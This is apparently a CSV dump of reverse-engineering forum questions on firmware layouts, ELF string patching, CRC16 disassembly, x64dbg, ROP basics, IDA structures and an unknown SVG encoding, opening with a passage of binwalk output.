+5292980       0x50C3B4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/lib/libc/src/time/time64.c
+5294084       0x50C804        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/compat/posix/src/pthread_mutex.c
+5294948       0x50CB64        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/vfs/inode/fs_inode.c
+5295300       0x50CCC4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/vfs/driver/fs_blockproxy.c
+5298224       0x50D830        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/vfs/bch/src/bchlib_sem.c
+5482780       0x53A91C        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/fs.c
+5483508       0x53ABF4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/readinode.c
+5486632       0x53B828        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/write.c
+5487060       0x53B9D4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/include/debug.h
+5487516       0x53BB9C        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/nodelist.c
+5489184       0x53C220        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/scan.c
+5490792       0x53C868        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/nodemgmt.c
+5491300       0x53CA64        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/fs/jffs2/src/gc.c
+5505972       0x5403B4        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/platform/bsp/board/hi3518ev300/include/hisoc/i2c.h
+5520924       0x543E1C        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/platform/bsp/board/hi3518ev300/include/hisoc/spi.h
+5521580       0x5440AC        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/platform/bsp/board/hi3518ev300/include/hisoc/uart.h
+5533124       0x546DC4        eCos RTOS string reference: "ECOST  CPUUSE   CPUUSE10s   CPUUSE1s   mode"
+5617488       0x55B750        Unix path: /home/cfg/random_para.txt
+5668808       0x567FC8        CRC32 polynomial table, little endian
+6026720       0x5BF5E0        CRC32 polynomial table, little endian
+6077286       0x5CBB66        TIFF image data, big-endian, offset of first image directory: 8
+6078744       0x5CC118        TIFF image data, big-endian, offset of first image directory: 8
+6086620       0x5CDFDC        CRC32 polynomial table, little endian
+6122272       0x5D6B20        Unix path: /home/nie/pro/v103/trunk/libAACenc/src/aacenc_lib.cpp
+6125288       0x5D76E8        Unix path: /home/nie/pro/v103/trunk/libMpegTPEnc/src/tpenc_lib.cpp
+6125413       0x5D7765        Copyright string: "copyright law and international treaties."
+6136076       0x5DA10C        Unix path: /home/nie/pro/v103/trunk/libFDK/include/fixpoint_math.h
+6136840       0x5DA408        Unix path: /home/nie/pro/v103/trunk/libAACenc/src/quantize.cpp
+6139780       0x5DAF84        Unix path: /home/nie/pro/v103/trunk/libAACenc/src/transform.cpp
+6151760       0x5DDE50        Unix path: /home/nie/pro/v103/trunk/libFDK/src/FDK_tools_rom.cpp
+6168775       0x5E20C7        Copyright string: "copyright holder(s) nor the"
+6169280       0x5E22C0        Copyright string: "copyright"
+6169415       0x5E2347        Copyright string: "copyright"
+6169908       0x5E2534        Copyright string: "Copyright (c) 2003-2014, Jouni Malinen <j@w1.fi> and contributors"
+6230532       0x5F1204        Neighborly text, "Neighboring BSS: freq=%dd"
+6238636       0x5F31AC        Neighborly text, "neighboring BSSes ret=%d (%s) - try to scan again (attempt %d)"
+6239601       0x5F3571        Neighborly text, "neighboring BSSes prior to enabling 40 MHz channelquest a scan of neighboring BSSes ret=%d (%s) - try to scan again"
+6239680       0x5F35C0        Neighborly text, "neighboring BSSes ret=%d (%s) - try to scan againequest a scan of neighboring BSSes ret=%d (%s)"
+6239760       0x5F3610        Neighborly text, "neighboring BSSes ret=%d (%s)rdware channel/rate support not supported."
+6240780       0x5F3A0C        Neighborly text, "Neighboring BSS: %02x:%02x:%02x:%02x:%02x:%02x freq=%d pri=%d sec=%dec=%d"
+6287708       0x5FF15C        SHA256 hash constants, little endian
+6295380       0x600F54        Base64 standard index table
+6302508       0x602B2C        Unix path: /home/ywx389445/z_ss/a_spc010/c_sdk/source/wifi_project/drv/sdio_hi1131sv100/hi1131_driver/driver/platform/inc/oal/liteos/arch/o
+6302796       0x602C4C        Unix path: /home/ywx389445/z_ss/a_spc010/c_sdk/source/wifi_project/drv/sdio_hi1131sv100/hi1131_driver/driver/platform/inc/oal/liteos/arch/o
+6435024       0x6230D0        CRC32 polynomial table, little endian
+6439120       0x6240D0        CRC32 polynomial table, big endian
+6448960       0x626740        CRC32 polynomial table, little endian
+6450040       0x626B78        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/compat/linux/src/completion.c
+
+Here is the file: +https://drive.google.com/file/d/1mtbAi90BkNAlZ1O501q4dSIY4sRY7xP9/view?usp=sharing +Any ideas? +" +"['windows', 'pe']"," Title: Module name in the export table of a PE imageBody: One of the fields of the PE export table is the image name, see screenshot below for an example. +This name is part of the file, even though I can rename it to any other name after it's compiled. +My questions: + + +" +"['decompilation', 'android', 'apk']"," Title: Any ways to combine Android APK with Expansion pack file?Body: I want to have only one APK that contains all files and resources without having to download expansion pack every time.
+Is there any way to combine Android APK with Expansion pack file?
+My expansion pack format is main.build-version.package-name
+The reason I want to do this is because decompiler fails to find some resource files and the apk has expansion pack which adds some files after its installation so I need to have all resources and files in one place. +" +"['binary-analysis', 'elf', 'binary', 'c#', 'binary-editing']"," Title: Modify Strings in a ELF (Executable and Linking Format) that are stored in the .rodataBody: I have 2 ELF files here, each containing strings in the ".rodata" for an translation that I want to modify. +The first ELF "(binary1)" I have already successfully modified from Chinese to German. +The second ELF "(binary2)" has a slightly different structure. +In my first ELF file "(binary1)", which I successfully modified, the pointers for the respective strings were in the ".data.rel.ro" part. +So with a short C# code I could output the strings. +
    static int start_data_rel_ro = 0x1708; 
+    static int end_data_rel_ro = 0x1A3CF; 
+
+
+    static void binToConsole(string inputFile)
+    {
+        var data = getData(inputFile);
+        
+        for (int i = start_data_rel_ro; i < end_data_rel_ro;)
+        {
+                var line = "";
+
+                    var addr = BitConverter.ToInt32(new byte[] { data[i], data[i + 1], data[i + 2], data[i + 3],0,0,0,0 },0);
+                        i += 4;                        
+                    List<byte> textData = new List<byte>();
+                    do
+                    {
+                        textData.Add(data[addr] == 10 ? ((byte)0x7C) : data[addr]);
+                        addr++;
+                    } while (data[addr] != 0);
+                    line = System.Text.Encoding.UTF8.GetString(textData.ToArray());
+                Console.WriteLine(line);
+        }          
+    }
+  
+    static byte[] getData(string path)
+    {
+        byte[] data;
+
+        using (var file = File.OpenRead(path))
+        using (var ms = new MemoryStream())
+        {
+            file.CopyTo(ms);
+            data = ms.ToArray();                
+        }
+
+        return data;
+    }
+
+For the "(binary1)" I already have a finished program which stores the strings in a CSV and afterwards inserts the CSV back into the "(binary1)" and patches the pointers. So I can make a string longer if I make a string shorter somewhere else. +Here is an excerpt of my previous file, which I have processed successfully +The .rodata contains all strings: + +The .data.rel.ro contains all pointers to the strings: + +but the new file "(binary2)" I want to edit now looks a bit different. +.rodata + +.data.rel.ro + +My C# code can't work in the second ELF, because it's a bit different. Unfortunately I don't know what to do. Maybe someone has an approach for me, so I can write a new little tool. +Here is a download link to the "(binary2)": https://drive.google.com/file/d/12vr-zcTnC3TzCIuvZ9Yt19lbb6dkEFdl/view?usp=sharing +" +"['ida', 'disassembly', 'static-analysis', 'crc', 'c166']"," Title: CRC16 Reverse in C166 ArchBody: Before that I asked about piece of code that used in this algorithm (here). Now I have a bit problem with the rest of algorithm. +So I have to describe this with detail. Sorry if i vast your time for read it.
+I have shown an algorithm below. It seems is a CRC16 algorithm. +
CRC_16_Calculate:                       
+                                        
+                mov     [-r0], r9
+                mov     [-r0], r8
+                mov     [-r0], r7
+                mov     [-r0], r6
+                mov     r9, r12
+                mov     r8, r15
+                jmpr    cc_UC, loc_29D6
+; ---------------------------------------------------------------------------
+
+loc_29A4:                               
+                mov     r4, r13
+                mov     r5, r14
+                add     r13, #1
+                addc    r14, #0
+                exts    r5, #1
+                movb    rl3, [r4]
+                movbz   r7, rl3
+                movb    rl6, #0
+
+loc_29B4:                               
+                mov     r4, r9
+                xor     r4, r7
+                and     r4, #1
+                jmpr    cc_Z, loc_29C8
+                mov     r4, r9
+                shr     r4, #1
+                xor     r4, #0A001h
+                mov     r9, r4
+                jmpr    cc_UC, loc_29CA
+; ---------------------------------------------------------------------------
+
+loc_29C8:                               
+                shr     r9, #1
+
+loc_29CA:                               
+                shr     r7, #1
+                addb    rl6, #1
+                cmpb    rl6, #8
+                jmpr    cc_C, loc_29B4
+                sub     r8, #1
+
+loc_29D6:                               
+                cmp     r8, #0
+                jmpr    cc_UGT, loc_29A4
+                mov     r4, r9
+                mov     r6, [r0+]
+                mov     r7, [r0+]
+                mov     r8, [r0+]
+                mov     r9, [r0+]
+                rets
+
+As you see in below I converted that to C++ code: +
static uint16_t intCrc16(uint8_t* cBuffer)
+{
+    uint16_t wPreset = 0xFFFF;
+    uint16_t iBufLen = 6;
+    uint16_t temp = 0;
+    while (iBufLen--)
+    {
+        temp = *cBuffer++;
+        for (uint8_t j = 0; j < 8; ++j)
+        {
+            if ((wPreset ^ temp) & 0x01) wPreset = (wPreset >> 1) ^ 0xA001;
+            else wPreset >>= 1;
+            temp >>= 1;
+        }
+    }
+    return wPreset;
+}
+
+It seems everything is good but the problem appear right here. The main loop of this function run for 6 times(iBufLen) but +the input argument(cBuffer) length is always 4 Bytes. To prove this point we check where this algorithm invoked. Look at below: +
mov     r13, r4
+mov     r14, r5
+mov     r15, #6
+calls   0, CRC_16_Calculate
+
+As you see, r13 and r14 are input argument as cBuffer and r15 equivalent to iBufLen. +So, what's my mistake? +By the way, r4 and r5 are the returned value of function that I pointed (here). +" +"['dll', 'windows-10']"," Title: x64dbg how to find name of DLL not foundBody: I have a program that hangs at start on my Window 10 system but runs ok on a VM running a vanilla Windows 10 system. +Using x64dbg I get to an error where it states a DLL is not found. +I have been trying to find out what the name of the missing DLL is. +I have tried to find a dependency tool but failed that so am trying to use x64dbg but am having difficulty trying to find the name of the DLL that is not finding. +Can someone either point me to a good dependency tool or give me a path of steps I can follow to get the DLLs name from x64dbg. +" +"['windows', 'binary-analysis', 'x64dbg', 'disassemblers']"," Title: String as constant , even not visible in disassemblerBody: I was reading this article Where I saw that while reversing the WinRAR I saw that the x64dbg is not able to search for a string in all modules "evaluation copy". but why is that happening. is the binary not containing this string? and then the author has used the Resource Hacker to search for the string. and he gets the string. but how? what is resource doing that the disassembler isn't? And one more question, what is that constant "873". why does it has the value of the string? +Please if someone knows, tell me. +" +"['assembly', 'x86-64']"," Title: Help understanding x64 TEST instructionBody: I have read that TEST does a bitwise and on the two arguments. I have also read that jz and je are both equivalent, and jump if the zero flag is set. So here's the problem I'm struggling with. Consider the (rather useless) following code: +
mov ax, 0x2
+test ax, 0x2
+je equal
+mov ax, 0x0
+jmp done
+equal:
+mov ax, 0x1
+done:
+
+Logically, "jump if equal" should jump, but 0x2 & 0x2 should not set the zero flag. As I understand jz/je will jump if the zero flag is set, this means je is not logically doing what it implies ("jump if equal"). And in practice, the code will fall through and set ax to 0x0, rather than jumping and setting ax to 0x1. +Can anyone explain where my understanding is going wrong? Clearly I'm not understanding something correctly. +Thanks! +" +"['exploit', 'register', 'rop']"," Title: xIP vs xSP vs xBP: How to choose the target?Body: We have 32bit & 64bit binaries, and in ROP (Return Oriented Programming), we sometimes target RSP/ESP, sometimes RIP/EIP, (maybe) sometimes RBP/EBP (I'm new to this, haven't seen RBP used yet). In ROP Emporium's ret2win challenge, I hit (with the target address) EIP on the 32bit binary, but RSP on the 64bit since I couldn't get my payload to hit RIP. +How do we choose which of the 3 registers to target when making a ROP chain/gadget? +" +['firmware']," Title: WiFi router flash layout - brick?Body: I'm working on to get openwrt to this Linksys e3200 router. +Stock and wrt firmware did flash ok through web interface. +In the progress of testing different openwrt builds I happen to brick it. +I have bios programmer and flashrom connected. The firmware files is a about 7mb and 11mb in size, the chip is 16mb. +I did truncate the files and flashed ok. +I do only get dim lights on ports. No TTL/serial. +Do you think the flash layout is the cause of something else? +" +"['ida', 'decompilation', 'c++', 'hexrays', 'msvc']"," Title: STL Data Structures Hex-RaysBody: We all know that reversing STL code is no fun. To make it easier, I usually create some of the strucutres so I can reference the created STL structures in another custom structure. +For example, msvc - std::string structure: +
00000000 std::string     struc ; (sizeof=0x1C)
+00000000 alloc           dd ?                    ; void *
+00000004 Buffer          db 16 dup(?)            ; string(C)
+00000014 Length          dd ?                    ; int
+00000018 LengthMax       dd ?                    ; int
+0000001C std::string     ends
+
+or std::vector: +
00000000 std::vector     struc ; (sizeof=0x10)
+00000000 alloc           dd ?                    ; void *
+00000004 NumberOfItems   dd ?                    ; int
+00000008 MaxSize         dd ?                    ; int
+0000000C Data            dd ?                    ; 
+00000010 std::vector     ends
+
+Doing this and then in decompilation using these structures, makes the code much more readable. +I sometimes find it difficult figuring out other structures, i.e. std::queue, looking in the implementation I can see its container type is actually a typedef to std::deque, which has the content of std::_Compressed_pair. +Is there a way to recreate these STL types, with proper naming as I did for vector and string, so I can reference to them in other structures in order to a have cleaner decompilation? What would a std::queue structure look like? +Thanks a lot in advance. +" +"['ida', 'offset']"," Title: Address register offsets and analysis (Tricore)Body: I'm decompiling a binary file for a Infineon Tricore processor, the code is incomplete and only contains part of the code so will not execute. The auto analysis did a great job and the code is readable but I have 1 snag with the address offsets. +Currently a large part of the code uses a static address offset which are set into [a0]. I know this to be a value of 0xd0008000 and it never changes but can't figure out a way of forcing this during the analysis. +For example, the code will load an address register like this: +[a0]0x50f0 +I know this should should be 0xd000d0f0 but the auto analysis will just show [a0]0x50f0. +I can force each reference on a local basis by hitting Ctrl+R and manually adding the offset but I'm interested to know what the correct method is. +Thanks, +Dave +" +"['encryption', 'encodings', 'strings']"," Title: Looking for encoding of SVG dataBody: I have some SVG images stored in a database; but I am not able to find out which encoding is used. +Unfortunately, I don't have the exact SVG plain text available. The given examples "probably" start with <svg> or an XML header like <?xml version="1.0"... +Some examples (shortened): +
44268418c0b1d6950f9ed82260441bc33531a2973c7728d4731a1f1d9db3ea3c666d5902624f5b44135eb06946b2a77ee8fc0b6877204c3fe11bab3a224c96aed061291a91fc0767c6bbc950e01c289c650ee04fee8f2561a3e45671f002d2f46f0b68481be9eaa304d0a6286438a4beb27848f77f120050aa685faf952ef5f0421c6176e11a3000e0ffef9bb1e2a8aa762aecb38fcadd2a419b10e1e5be01a7ab84248b3284c7a8c09c9bed563b17e85c8ffd3bd3dba830ec969e7b834ef60636becd6e103b6f38d1ada20151f5a6ce7d59391fcc07bbb99dd67666f12a54d71d62105c025e3e1fc0483aa908329fbc83f485d25b3aa12af6f59bc8a39afe6dc8a43ed943051d397c69fd72e09345535d87f3c069a563d903727af2154961fe19376b92f7e5f5a7c5f1f2905a00cb2302f022a59d5b52c107ba88c825cbc0a15f24ac194f4cc47d781f4cba8f42c092b8ce6f573b9529e62dcab42056646bbea330d5f5b38c6b0da68faf9187c2d52271da6068d8405944102d49d2efc7f2e93fe4447cbce9f75420fea132622f0fb278e4c6b7e7b25f0c88a700683884fdf102616d21b924de329f60bbccf5dabba2a68faf9187c2d52271da6068d8405944230d178fe41498b3fbe904fb69e55c58b07497ace8db1ed5122a206cab7b0372304d7ed0aa133df4beead3cdc931a51569a4755b281bbddf2f27facd122ed877fbe904fb69e55c581efe14708d12e3e8e33499ebe48e3c707de6b41f16e9e7741809f3e10474aaf093740cd6cc3c17fc415743b3079422c4e8d14b71e71509585c36cbea388befd78061738fed8d42a6ed55b2abeea05dfc51bcba03eafc1291bc5d3f677fe9b68e726aeebd7edcee190b75c17d960be8a82a5f89f193b57ae107ba88c825cbc0a15f24ac194f4cc47d781f4cba8f42c092b8ce6f573b9529e6f998e06161d7bb8ee22053cd06e36257a68faf9187c2d52271da6068d8405944102d49d2efc7f2e9da36335de056456ec386cf1ab80bad0901a704dfa5e7a7a404334da3ff459753cc01c7e7ce732ea42e940541a89b7da117c300a6fcb60923756394d596be18c471f79e2d895f8c3d7cb70128bc9a204128ddf676f4a941b042fdb1991da5e67234092ef8a2506beec0c151d3b9fe402d4c58efea2cdb5b037fd9714b3057c4a2e1748b917f05002fa07ac30ca6d13111047459dd118ff40ac689f921de7122d9269ddd44e2c242c08b3c5ebe3b0002587e851e1d1f47b7100b7c2ace6b4c7e1294b1f36978c0db5f05c82211c0e61b4607ba88c825cbc0a15f24ac194f4cc47d781f4cba8f42c092b8ce6f573b9529e6f69e3a50e2bde170242effbeec83af967e627f48a02508f57b2221cab63e856d6d56a8706a70baec68adc55e5212e91749a7463e8eb759495fbcfa496e071583035e6172b0c449b575c15dcbdddd7c67f2faa4182354dd67f46931b9957641d07e4c487c2226eca89f226479011863d92b56e31f5de6c8471468ab6090aebf423dd93f72be558208ecaf1cbae68ded51c917e030c9d27b3db749147706c726353c0df64f6b8602a42156a12f3f5fbefea1620e6ed721975610de5cab901752663a6f44c07de73784020aa2fc87d1825b84782a4dc7afa327bb6980869f2dbfdc5122de8f6c8e14325e412329f4b23886ded498c431eebf963f4b00d0aeb39e170922e2d198f47c1f27397d972d0a68efd917f36d8a8438f106f47a5b25032ee0e77f937023ae1e59617489ed58b9325a540b6ba9eecdb5622093bd9cb07423abbb1667bfea714b219d839b36a72120fdecb0b6b0cfec6bd5b086dff45823ab6ec841b41fe9afaf6962f62fada527e931729e830fca9efbd08ee2fb669469b57b9c0c9ef1564329562be31e49e8df956ebabf2fd0ef38a31fc4c22851b2a36395713c80eef434ddf3909a0151d3b322d3fa7971825a634f032d0ab4410693ccb45ba83b5eba3033207334f4f8231d3609b70541ab70bc5c047bcd6ffae536ec04c93f59528688883735ff819ff341eb3b643f7b2dbd9336e0c68002beb1aa36c12b05ed18847688a090490f40c4c15158f234d61013bebb8d2b0c05c26e0f15244f3df113e42161f9ac84dc11f6d227dbe60f95754eda73f4190eb26f2a07837c94c1555a5ed103d111c37701b1fb10c7abb377f3b889e5a9c5286863c7d5e5560965ba201d48767fbc6d27310a6540e018a1bdf575e48521738cef2151fd1f16a73ed2c078b2d61a7fb8c41cf69de155296fcb342e67ae3aeb65ddbedeee3b90e9d6b38dc24c65704019bd024bd40d6a1e12d436ed4b8591777cab45d56b10c69379946eda3882d28a958b489166773e16615f3a5cff2bed9fd98141b133d3dd73133a0f2c9f54b3375b9266f3dbc3fb72186a4be4e64165dd7ca0b97b88761a73616bd48809eafd746f83a4dc58d6284f8c12df33f876a66249b648322f7ef8b69c43918100ea495048fa96bffb99676ada534da7d470573fadd4487ce15dc41b14fbd676ad415814b05100638c5866cb0df8af3d461f49fd2b89113818e0319dc24c714c246ab7128c48a8c9b8b92fa85b9817775431591cb5f5e81acd2e9fbe17d063036d793e581d9225d7268a1228fd4c06235bfab879c44bfde7cc05cf4301b3563ab4adb8ee05fda59d537505186e6a9d2c258d2edc9d19e03a2699cde32feda42e1c48691232714a7942a41d3985bfc1a7754397196ea9e2e6da3b55b4c6c9876bd0e3f75dc595c366cd517d81afd7a442a8e809591bd585236fd916d428da040af14f894ccfe01b35c4a72fab552a55ebdfbe35a2d4f7961cadadfb1cfe30166e6658a3e4dc03129900044b11f7bfe0467896dc72d405dc7cccbd95d56fdca7a6edd575661d40c51bacee857838e52e85cb9041d3d573ccf6103b2888355749511a8dc13b815df4f132e9bb1aece9a09978340eb313b21bd9b62ed443a5310d75f0c9cd8aa53b34615cef1c344be9ff2e8a74c2b49a548fb6ca9371e4803e908a46ccd3e9e4d5b601538b4001816cb7e4d44a86fcb6a83a87e6af5f779aec4d58d8b84fced253452001d35522b432456774c1b3990928bec2614b3d3c83a292d0222ec74bcdc7b922acac28aed54cd07ef176827fb1017377fc0d589b68782dc1fbedf2375777b0ae98057c00dea475aaf452cdb4d91f370d2dead1a90db5066d293dcf94aee897a2b711c6ad7ced51d82f47a8627d210e124fd80f2a46f4d382551db74f57e292effdc5d30125e8cf8147564926d94c146676dd81a612a8d0b728b5f01aece9a09978340eb313b21bd9b62ed443a5310d75f0c9cd8aa53b34615cef1c20dd4ea688dce493140002eddf3f60204a2198210a07f8cc77a79b792bc894ba19cd82c3ae269ac72e06cb881126e4523b813772c2bdca3d4b475b58488acd884866e833fe74727b11d61feb22d1faf9730739ef6718dc53785a33b6419684c3e3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d92efd6d25a816a6f8f250272d6a084554433b1ed6cfe9b0e39ae8f2d82558f8e53720bcda8fb0faa7165cab929b47e5bfaed54cd07ef1768237328c990788a6fd79f1227146b534e1d9e8f92768cc7aebd8955996c3bb05806ce6cdf00426ebaed2ee35136205dc5d6ad9aff82fce4ffad010f5c4bd7d1f15f40444adafeb4dcc319505721135473f7a8640165f6bd6ba8ba711f655f7471448d4002d522904b94d05d11ac8ce97beef40992acbee35f4e6f21e0fe871cc4801816cb7e4d44a86eecaf905960ce40d9eabf3ed1c055be572faae21b1f494eb8e026c95f81491827f21be702da55eb64762abc9aca94c5879910ea5860f48ec4efec47a0d30bffa7d8f8e01651de538f19eec33262bea79bba6d6d80cc41dd40114f64367005a681cc97f8af267ffbe8cbdb75184eea60df950d04bfa0dee9ff98e133f7a1461b4fef118906657706ead7ced51d82f47a8bedaa8259c4edd4a6eeb9ef1d148c1b5260741cfcbb5277fa67b498f7c6104cbb1759c91328104e87f602a73171e5b698361e45e7901ef6ad02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a89ec4f1552e604706e177ce1bfe22466ba1c94302377c00bc42e06cb881126e452e737d8f549058335b89d871e18fef77c19cd82c3ae269ac72e06cb881126e4523b813772c2bdca3ddde84d83a34f149df6c6fd7aef2bac68143efd82ef9d8960d8b30f63a559ca901f252b6c6909f543f661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e300515755af80efc25dcd6bacd187e9de43aa80d03149e42bf1ecb50ab6cde8e58a42f7f831264a58033e052cfc4678321434decaa2e688e948aafa7716423c7385eff113ff3d0774732646c82648adf09e07a12980450d427f019b5e7e70f68bf356ff62d9df1def3032e64f30b433f1098714efec47a0d30bffa7d8f8e01651de538f19eec33262bea79587ebd42015258243477d9a0f2136f79c10d2961e3eb84708cbdb75184eea60df950d04bfa0dee9f75cdd4a9d096201dfef118906657706ead7ced51d82f47a8bedaa8259c4edd4a69f3626f0a9856824f2906d85f1d664e98b3835d5ae4fec3f8e198794ac6939fa6733b460268d0364efec47a0d30bffa7d8f8e01651de538f19eec33262bea7937b0dc798fd43e9f4f53a9eb91cf45242c1cf0e2b93c58eb8cbdb75184eea60df950d04bfa0dee9ff98e133f7a1461b4fef118906657706ead7ced51d82f47a8bedaa8259c4edd4ad18ac2b70fabb9c0d9e8f92768cc7aebd8955996c3bb0580d8920677c006700edc897e1d7f93144ef661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e30051574ef4078edcecacf5ad18fc7038ec84a5651b56fe5c19e3950ab6cde8e58a42f96ae6170c59e51ea52cfc4678321434decaa2e688e948aafa7716423c7385eff7eda113d34e45aedc527f49f1dc09edd12980450d427f0194b170fac0ef074c5ff69c1ad7b1cff7564f30b433f1098714efec47a0d30bffa7d8f8e01651de538f19eec33262bea7926cab596b3847aa86ac7da14d2a06abdc10d2961e3eb84708cbdb75184eea60df950d04bfa0dee9ff98e133f7a1461b4a208c918e39f3d18d02cc7af75385f2d6cfc48780536e5fc5cc393f7aac04a891b1036b2c9d69d22ba42497a4e6ee7b8cfd6d32e4ba06b1c5ccded9ab7009aa3ad92b0bcf1a19e88d2fddd4284026dcb6ad9aff82fce4ffad010f5c4bd7d1f15f40444adafeb4dcc319505721135473f2a61fd92b84aec6fba4e4c69f0f2fee6e1961cee174f4d7d38c0d5cbac0b56c78e20aee6e694d9f366037d3a5ae29ff8b5872155c00553dd311791ab270a7690ac73afc4ff50c12a1113a347f95e5cf5335a7389e92b286a24c524ec1779f24b7051e397ce857673466896decf0832148cbdb75184eea60d94c8424fe16168cbc34e74b6eb1f098f06b598066cb6fb8810343f61ca27f81e134caba0ebbafc262e06cb881126e45277f50c03bab9e03b532f12c06b0a7de16715ca6dd328719d6ad9aff82fce4ffad010f5c4bd7d1f15f40444adafeb4dcc319505721135473fdbc7ea2190272774b82b28c07cd0eb2848d4002d522904b938c0d5cbac0b56c78e20aee6e694d9f366037d3a5ae29ff8b5872155c00553dd311791ab270a7690ac73afc4ff50c12a8fdb0b1463a32a853fad8cbaa303a80cd82d3e99108233417051e397ce857673466896decf0832148cbdb75184eea60d94c8424fe16168cbed16973957004a9b06b598066cb6fb88644eca5f91df6611134caba0ebbafc262e06cb881126e45277f50c03bab9e03b89d7623ad95ebaabd4289ccb7d4b35b7a62f5b9a41121decf2e1e7d82f87e511704d27e89042ff939f9f6b71ebedea12b7bed3701218ba1652cfc4678321434de3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d905a73f93e4c24ceee13252902ee3615aaaef86e92c43f7365fe1a7869c7f3058f2e1e7d82f87e511704d27e89042ff93f81828c0afd532bc157dd3d2239bc9c27051e397ce857673233eb9898f7338d42ea33d5655c8bd4938c0d5cbac0b56c7fa48a227619dccee43a1ed40ae821e8e83a8812a7246d34530d2bc5b6fb9942c8cbdb75184eea60d94c8424fe16168cb791da64e44444b4206b598066cb6fb88a8159a303d9c1231be3536708986179cb313b21bd9b62ed4a3661df29185e54ec2f9190cc8838a84f7a2d45cf5e8eb3cf661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e300515161777070f6e58af2afab750d549036cb5e38d67742474cb97463bd591e508e86c9f4d4227afa813b313b21bd9b62ed4a3661df29185e54ea7a00baf7280a449c5b5b79d51d9914ecdba0968a1052f3580ef11076c643a8c5ccded9ab7009aa394a2dec635087e03b7bed3701218ba161d6c7bac24c04ed804d966e82455f8cef2e1e7d82f87e511704d27e89042ff9324dd490d1dec17afb7bed3701218ba1652cfc4678321434de3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d95ae433d7ae5dae05e13252902ee3615aaaef86e92c43f7365fe1a7869c7f3058f2e1e7d82f87e511704d27e89042ff93f8b3a329e226994a157dd3d2239bc9c27051e397ce8576735e76635fa69839cb2ea33d5655c8bd4938c0d5cbac0b56c77b330f4af21dba8043a1ed40ae821e8e1db574b05358cdd0703f02cd3ac042f58cbdb75184eea60d94c8424fe16168cb0b4e237845b008ba06b598066cb6fb8848003adc648224d6be3536708986179cb313b21bd9b62ed4a3661df29185e54e67460e21f7672645f7a2d45cf5e8eb3cf661b8ee5ff8b024832c8f703bff78ebef8359beb18706d3e64bf3792e300515a2b55fc848778d493389c464fb72515a7766ed495c0264cc704d27e89042ff939f9f6b71ebedea1252cfc4678321434de3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d99d14dd674cc21984b82b28c07cd0eb2817e460050b05981886dc808c4b39f6ef80ef11076c643a8c5ccded9ab7009aa3b1fa04b0d92449dfb7bed3701218ba161d6c7bac24c04ed8ff53a15593145d8a888fedbb9cf5e513d876506b48dba30e8eb6b5c0ff99b94a157dd3d2239bc9c294ef7af715f3a8ae2751368e5cd5a6181edc173801bbb840f889da0eb207e3fade58348cae7f07cd2b9cd50215204a21ede29378c0a2add6aaef86e92c43f7365fe1a7869c7f3058f2e1e7d82f87e511704d27e89042ff93f8b3a329e226994a157dd3d2239bc9c27051e397ce8576736f787eba48f3ba182ea33d5655c8bd4938c0d5cbac0b56c777ab6cb2070cb4b143a1ed40ae821e8e1db574b05358cdd0e7e7c627d86e80d38cbdb75184eea60d94c8424fe16168cb673b51ff12c1ee3d2b9679cbca439e4863f819de98bb65519e8cbf6117e5d88b7ea12ac2cd116ff3c4b7df08746a1e0b74e3786c6428f80af232ef2bc10b47de24c524ec1779f24b7051e397ce857673466896decf0832148cbdb75184eea60d94c8424fe16168cb9ef90ef551a7fe9106b598066cb6fb8810343f61ca27f81e134caba0ebbafc262e06cb881126e45277f50c03bab9e03b3c19f2da56506500d4289ccb7d4b35b7e205ddf4c84e34fb80ef11076c643a8c5ccded9ab7009aa33db2e1c9c1f11307b7bed3701218ba1652cfc4678321434de3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d9855e6eb51b40e77bba4e4c69f0f2fee6e1961cee174f4d7d38c0d5cbac0b56c766b794ee5e9a988d52cfc4678321434de3b8f38d50962b133fb2f5169253d76eab294879a68006113561bd7baaae51d95181e87a5669ca80e13252902ee3615a433b1ed6cfe9b0e355315630de8e0b456c6c2d6f1e1a839b5242f58d94fd86904efec47a0d30bffa7d8f8e01651de538f19eec33262bea79479fc566d14baba964058015a78aada93be00107df562f548cbdb75184eea60d94c8424fe16168cb3142834a1159cb9063f819de98bb65519e8cbf6117e5d88b7ea12ac2cd116ff3c4b7df08746a1e0b592221de3f999d379b44dd214c9416e2d82d3e99108233417051e397ce857673466896decf0832148cbdb75184eea60d94c8424fe16168cb0b4e237845b008ba06b598066cb6fb880994c8c7e6b1b85c134caba0ebbafc262e06cb881126e45277f50c03bab9e03b89d7623ad95ebaabd4289ccb7d4b35b74524f4bfb99008442ea33d5655c8bd4938c0d5cbac0b56c7caab41b27bb84eeb794335dbc2f5f0f166037d3a5ae29ff8b5872155c00553dd311791ab270a7690ac73afc4ff50c12a9a0025c336be0410c0e51df8deb8857b2c708a46f31cb5a6d4289ccb7d4b35b7de3cf78e9e7d20892ea33d5655c8bd4938c0d5cbac0b56c72726a3